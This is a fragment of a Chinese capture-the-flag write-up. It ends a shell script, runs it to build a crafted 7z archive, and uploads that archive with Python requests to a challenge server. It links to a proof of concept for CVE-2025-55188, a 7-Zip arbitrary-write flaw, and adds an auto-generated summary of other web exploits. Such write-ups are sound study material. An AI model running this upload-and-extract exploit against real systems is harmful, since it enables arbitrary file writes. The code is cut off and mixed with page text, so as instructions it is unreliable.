cp 2.7z "$olddir"
cd "$olddir"
rm -r "$tempdir"
chmod +x 1.sh #赋予权限
./1.sh #执行将生成的文件上传然后访问/listfiles即可
import requests
url="http://3000-127ebf03-e05b-4f15-8182-8a0a62d38b47.challenge.ctfplus.cn/"
res=requests.post(url=url+"upload",files={'file': open('2.7z', 'rb')})
res1=requests.get(url=url+"/listfiles",params={'dir': './uploads'})
print(res1.text)https://lunbun.dev/blog/cve-2025-55188/
https://github.com/lunbun/CVE-2025-55188/blob/main/poc_extraction_root/make_arb_write_7z.sh
ezjdbc
本文详解多个Web安全题目,涵盖SSTI、Phar反序列化、XSS、原型链污染等漏洞利用技巧。
由 AI 根据全文自动生成,仅供参考,以原文为准